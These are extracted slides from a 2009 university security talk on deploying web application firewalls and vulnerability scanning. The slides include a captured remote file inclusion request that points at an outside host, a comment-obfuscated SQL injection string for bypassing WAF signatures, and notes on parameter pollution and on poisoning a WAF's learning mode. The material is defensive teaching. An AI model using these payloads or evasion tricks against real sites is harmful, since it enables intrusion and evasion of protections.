Securing Campus Web Applications with Vulnerability Assessments (VA) and

Web Application Firewalls (WAFs)Neil Matatall | November 5, 2009

University of California, Irvine

OWASP Orange County Chapter Lead

Educause Effective Practices WG Member

Glossary

• WAF = Web Application Firewall• IDS = Intrusion Detection System• IPS = Intrusion Prevention System• AppSec = Application Security• SOX, PCI, HIPAA, FERPA = Compliance• OWASP = Open Web Application Security Project• WASC = Web Application Security Consortium

Agenda

1) Introduction

2) Web Application Firewalls

3) Implementing Web Application Firewalls

4) Vulnerability Assessments

5) Synergy

6) WAF Evasion Techniques

7) Wrap Up

Let’s Make It Clear

• We have used open source WAFs as well as commercial WAFs

• I am here to sell you on the idea of WAFs, but not to sell you a WAF

• I will try to confuse you• Every situation is different• Key phrase: it depends!

About UCI

• Founded in 1965 • ~27,631 Students• ~14,228 employees

• Rapidly expanding while our budget is rapidly shrinking

• Recently started consolidating IT across the campus• The Security team was one of the first groups to work

together across former business units

Security Is All About The Layers

• No single solution that makes everything secure exists• When one layer fails, and it will, there should be a

compensating strategy

U serIden tity M anagem ent

A u then tica tionE duca tion

N etw ork /W ebA ccoun t A dm in

F irew a lls , E ncryp tionLogg ing/A ud iting

A p plicationA u tho riza tionLogg ing /A ud it

T est T oo ls

D ataA u tho riza tionLogg ing /A ud it

E ncryp tion ,Inven to ry

O p era tio nsB ackups (inc l o ff-s ite)

Logg ing /A ud itD isaste r R ecove ry

P o licies , S tan d ard s , P ro ced ures , T ech n ica l R efe ren ce A rch itec tu reA pproved T oo ls and L ifecyc le

E xcep tions by A pp rovalR egu la rly rev iew ed

This is commonly known as the “Defense in Depth” Strategy

Commonly Overheard Misconceptions of Application Security

• “Our site is secure because it uses SSL”• “Our site is secure because we have a network

firewall”• “A hacker will never do that”

Agenda

1) Introduction

2) Web Application Firewalls

3) Implementing Web Application Firewalls

4) Vulnerability Assessments

5) Synergy

6) WAF Evasion Techniques

7) Wrap Up

Visual Representation of WAFs

What a WAF is:

• From http://www.owasp.org :• An appliance, web server plugin, or filter that applies a

set of rules to an HTTP conversation• Generally, these rules cover common attacks such as

Cross-site Scripting (XSS) and SQL Injection

• A WAF inspects the HTTP content at the application layer, beyond what a network firewall would typically inspect at the IP and transport layers

The OSI Stack

The Application Set is handled by Web Application Firewalls

The transport set is handle by traditional network firewalls

What a WAF is (Cont’d)

• “HTTP-aware IPS/IDS on steroids”• A way to analyze the requests and responses for

suspicious activity• A way to increase visibility of web traffic1

• A debug tool2

• An incredibly powerful, complex, and difficult beast

1. We’ve Been Blind to Attacks on Our Web Sites2. Ryan Barnett: Why Did Our Web Application Crash? Leveraging WAF Logging Data

What a WAF is not

• A “traditional” firewall• Firewalls generally inspect IP addresses and ports,

layers 3 and 4• WAFs inspect HTTP requests/responses at layer 7

• A magical device that works on its own• An end-all solution to all application security

problems• An excuse to write insecure code

XKCD – Missing the Point

http://xkcd.com/538

Why You Need A WAF

• 82% of Web applications have vulnerabilities1

• 75% of all Internet attacks target applications2

• PCI-DSS• 6.6: Installing a web-application layer firewall in front of

public facing web applications.• 10: Track and monitor all access to credit card data

• Software Vendors may not be willing (or even in business) to fix vulnerabilities

1 White Hat - statistic for initial examination; 2 Gartner Research;

The Most Widespread Vulnerabilities in Web Applications

WASC - Web Application Security Statistics

Why WAFs Are Attractive in Higher ED

• We typically have a very diverse pool of code• Tight resources make fixing the code a painful

process• Many small, single-purpose applications make

alternative technologies difficult to use• Built-in user community

• Campus Groups• Educause Effective Practices Group• Mailing Lists

Example Attack: What the WAF Sees

G E T / / / / ? _ S E R V E R [ D O C U M E N T _ R O O T ] = h t t p : / / s p o r t s u l s a n . c o . k r / p o l l / a i p i / i d . t x t ? ?   HTTP/1.1

T E : d e f l a t e , g z i p ; q = 0 . 3

C o n n e c t i o n : T E , c l o s e

H o s t : w w w .somesite.com

U s e r - A g e n t : M o z i l l a / 5 . 0

OWASP Top 10: #3 Malicious File Execution (RFI)

Agenda

1) Introduction

2) Web Application Firewalls

3) Implementing Web Application Firewalls

4) Vulnerability Assessments

5) Synergy

6) WAF Evasion Techniques

7) Wrap Up

Step One: ModSecurity

• Apache Module• “Negative” security model

• signature based – checks for known attacks• Similar to anti-virus

• Open Source!• OWASP Core Rules Set: Best Starting Point• Accepted as the best open source WAF• Sees the SSL traffic after Apache has decrypted

the traffic

Before ModSecurity

After ModSecurity

Step Two: Taking the Dive…Vendors

• ModSecurity was getting difficult to manage…• Only one person was trained to update the rules• Multiple instances meant multiple updates and upgrades

• No protection for IIS, difficult for Windows• WebKnight did not meet our needs

• The vendor products had many features ModSecurity did not have• Mainly, the Positive Security Model

Downside of Negative Security Model

• ModSecurity uses only signature-based protection• Like AV, these can be bypassed with the smallest

tweak• E.g. UNION SQL Injection Attack1

• BLOCKED: /?id=1+union+select+1,2,3 /* • NOT BLOCKED: /?id=1/*union*/union /*select*/ select+1,2,3 --

• After being processed, the request will become:• index.php?id=1/*uni X on*/union /*sel X ect*/ select+1,2,3 --

• Query: “select * from somewhere where id=“ + id• Becomes: select * from somewhere where id=1 union select 1,2,3 --

1. Methods to Bypass a Web Application Firewall

Step 1.5

• Keeping ModSecurity up while deploying a vendor product• As we gradually moved hosts behind the vendor WAF,

we left ModSecurity up while the vendor WAF is in learning mode

• We removed ModSecurity once we were certain that the vendor device was functioning better than ModSecurity

Surprisingly, nobody noticed a performance hit when running the network device in tandem with ModSecurity

Common Features of Commercial Products

• “Positive Security Model”• Learning mode: tries to profile applications and learn

“normal” behavior• Also employs Negative security model as well

• User tracking: record logins and associate traffic with user names (DB and Web)

• Reporting• Decrypt SSL Traffic

Positive Security Model Examples

• Parameter Type Violation: Unexpected Groups: Asterix, Numeric, Parenthesis

• Parameter Value Length Violation: Size=10, Max=3

• Unauthorized Method: PUT• Cookie Poisoning: Cookie value expected=a,

Observed=b• Unknown Parameter:

_SERVER[DOCUMENT_ROOT]

WAF Lifecycle

• First, tune the alerts to a manageable amount• Next, spend a good amount of time simply

learning the applications and tuning the WAF• The main goal is to learn all parameter names

• Slowly tighten restrictions• Start applying anything you removed in the first phase• Enable harsher responses, such as IP or User blocking

• The ultimate goal is to have a WAF with no exceptions

Non-Inline Deployment

Reverse Proxy Deployment Inline Bridge Deployment

Deployment Options

• Transparent Inline Bridge• Supports full enforcement

• High performance, low latency

• Fail-open interfaces

• Transparent & Reverse Proxy• High performance for

content modification

• URL rewriting, cookie signing, SSL termination

• Non-inline Deployment

Switch

SecureSphere

Data Center

SecureSphere

INTERNET

SecureSphere Slides For Customer

Which WAF is Right for You?

• Things to consider:• How many applications do you have?• What types of servers do your applications run on?• How much time do you have to devote to this?• Do you have someone knowledgeable in application

security?• How much money do you have?

• Review the Web Application Firewall Evaluation Criteria from WASC (webappsec.org)

Bonus: Database Monitoring

• Run assessments on DB server configuration• Audit all access to tables, logins, etc• Forensic capabilities, records each query• Enforce SOX, PCI, HIPAA, etc• Restrict access based on time, location, etc• Reports: Access to sensitive tables, assessment

results, new accounts created

Agenda

1) Introduction

2) Web Application Firewalls

3) Implementing Web Application Firewalls

4) Vulnerability Assessments

5) Synergy

6) WAF Evasion Techniques

7) Wrap Up

Vulnerability Assessments

• Use automated tools to check for the common vulnerabilities in applications

• Generally sends a request meant to cause the application to behave incorrectly• For XSS it usually sends <script> tags to see if <

becomes &lt;• For SQL Injection it sends ‘;”-= to see if an exception is

thrown

• Some can scan web services• Some can perform penetration testing

Vulnerability Assessment Strategies

• Manual• Use proxies and other tools to manually assess the

posture of the application

• Automated• Give a tool a starting point and let it discover• Crawling, Analyzing, and Testing Phases

• SAAS• Continually test the application for vulnerabilities

Scan When

• PCI-DSS requires a penetration test once a year• We integrate AppScan into our development

lifecycle• All new applications undergo a full scan• All “major changes” undergo a full re-scan• All minor changes require a small, focused scan

Scan What

• For new or critical applications, we scan the entire application • This can involve multiple sets of credentials

• Production or Test Machines?• We scan test machines• Test environment must mirror production environment

• Inside or outside the network?• Always done from inside the network

Agenda

1) Introduction

2) Web Application Firewalls

3) Implementing Web Application Firewalls

4) Vulnerability Assessments

5) Synergy

6) WAF Evasion Techniques

7) Wrap Up

Synergy Bliss

• AppScan• Verified vulnerabilities would be “virtually patched” by

importing scan results

• Splunk• Send events over syslog to central log server to

correlate events across all layers and hosts• Correlate audit data to system events (in progress)

• Intrusion Prevention System• Create signatures for blatant attacks and block them at a

lower level

Synergy Bliss Continued

• Scan what?• Verify that all URLs learned by your WAF have been

tested by your scanner

or• Use the scanner to explore your site

• Scan When?• You can use the statistics generated by your WAF to

detect changes to applications (lifecycle FAIL)

•Ryan Barnett: Scanner and WAF Data Sharing

Agenda

1) Introduction

2) Web Application Firewalls

3) Implementing Web Application Firewalls

4) Vulnerability Assessments

5) Synergy

6) WAF Evasion Techniques

7) Wrap Up

New Form of Social Engineering?

• I noticed abnormally large amount of “Parameter Type” and “Parameter Value Length” violations where “normal” input had “suspicious” data

• An inattentive operator may have added these to the profile, thus weakening the WAF for an upcoming attack

• “Sounds like another method of social engineering to me. Victimizing the managers who demand uptime and ease of use over security”

WAF Weakening Flavors

1) Wolf in sheep’s clothing: where the attacker adds suspicious characters to seemingly harmless data

• GET /somefile.html?name=Neil Matatall’”

2) Tricking the profiler when the app is still in learning mode to learn potentially malicious behavior

• Do recon by adding blatant attacks (cmd.exe, xp_cmdshell, <script>)

Bypassing WAFs

• HTTP Parameter Pollution• Web servers handle “Pollution” differently• The WAF must know the underlying architecture to

handle this accordingly• E.g. / index.jsp ? par1=val1 & par1=val2

Methods to Bypass a Web Application Firewall

Agenda

1) Introduction

2) Web Application Firewalls

3) Implementing Web Application Firewalls

4) Vulnerability Assessments

5) Synergy

6) WAF Evasion Techniques

7) Wrap Up

Lessons Learned

• The WAF takes a great amount of time for tuning• Running in bridge mode will cause network

interruptions

WAF Issues Encountered

• Caused some networking issues with availability monitors

• Sometimes it would cause erratic behavior when blocking responses

Because the WAF Says So

• There have been a few cases where we had to bend to the WAFs demands• Non-standard query strings lessened the WAFs

coverage• Re-architect VLANs• SVN had to be moved to another port• Parameter names had to be adjusted

WAF Wins

• NO BREACHES!!!! *knock on wood• Caught Outgoing SSNs and CCs• Assessments: Scuba Failed, SecureSphere wins• Collaboration with campus networking group

resulted in signatures being added to IDS• Caught campus-wide No-Nos

• Developers were using GET when POST was required• Servers were leaking code, developers didn’t know

• Helped debug application issues (scope creep!)

Side Benefits

• Encourages the separation of Web/DB servers• First real throughput numbers• Improved Code Quality• Discovered Broken Links• Discovered Longest Response Times

Leaving Thoughts…

• Positive security models document parameters, values, and bounds• What if you could do full input validation in the WAF?

• Complex Data types? Email Address? Filenames? Phone Numbers? Currency?

• Access Management?• In a large number of cases, all authorization decisions

can be made based on parameters/cookies/session information

References

• WAFs• Open Source

• ModSecurity

• Vendors• Imperva, Breach, F5

• Vulnerability Assessments• Open Source

• Joomla, Fortify* Open Review Project

• Vendor• WhiteHat Security, IBM AppScan, HP Web Inpsect, Cenzic, NT

Objectives

References Cont’d

• Web Application Firewall Evaluation Criteria• http://www.webappsec.org/projects/wafec/

• Web Application Scanner Evaluation Criteria• http://projects.webappsec.org/Web-Application-Security-

Scanner-Evaluation-Criteria

References Cont’d

• We’ve Been Blind to Attacks on Our Web Sites• Why Did Our Web Application Crash? Leveraging WAF Logging Data• Scanner and WAF Data Sharing• Web Application Security Statistics• Methods to Bypass a Web Application Firewall • Web Application Firewall Products • Web Application Firewall Deployment Mode Considerations • Web Application Firewall Evaluation Criteria • Application Scanner Evaluation Criteria • Approved Scanning Vendors• xkcd: Security

• Copyright Neil Matatall 2009. This work is the intellectual property of the author. Permission is granted for this material to be shared for non-commercial, educational purposes, provided that this copyright statement appears on the reproduced materials and notice is given that the copying is by permission of the author. To disseminate otherwise or to republish requires written permission from the author.